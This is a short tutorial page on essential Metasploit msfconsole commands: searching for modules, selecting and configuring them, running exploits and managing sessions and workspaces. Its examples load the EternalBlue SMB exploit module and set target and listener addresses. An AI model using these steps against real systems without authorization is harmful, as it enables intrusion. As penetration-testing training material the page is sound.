Metasploit Section 3 of 10

Essential msfconsole Commands

Master these fundamental commands to navigate msfconsole effectively.

searchSearch for modules by name or keyword
search ms17_010
useSelect a module for use
use exploit/windows/smb/ms17_010_eternalblue
infoShow detailed information about the selected module
info
show optionsDisplay required and optional parameters
show options
setAssign a value to a module option
set RHOSTS 192.168.1.10
unsetRemove a value from a module option
unset RHOSTS
setgSet a global option value
setg LHOST 10.0.0.1
exploitRun the selected exploit module
exploit
runRun the selected auxiliary or post module
run
checkCheck if target is vulnerable
check
backReturn to the main prompt without the module selected
back
sessionsList active sessions
sessions -l
sessions -iInteract with a specific session
sessions -i 1

Session Management

bash
1sessions -l # List all sessions\nsessions -i 1 # Interact with session 1\nsessions -k 1 # Kill session 1\nsessions -K # Kill all sessions

Workspace Management

bash
1workspace -a pentest # Create new workspace\nworkspace -s pentest # Switch to workspace\nworkspace -d pentest # Delete workspace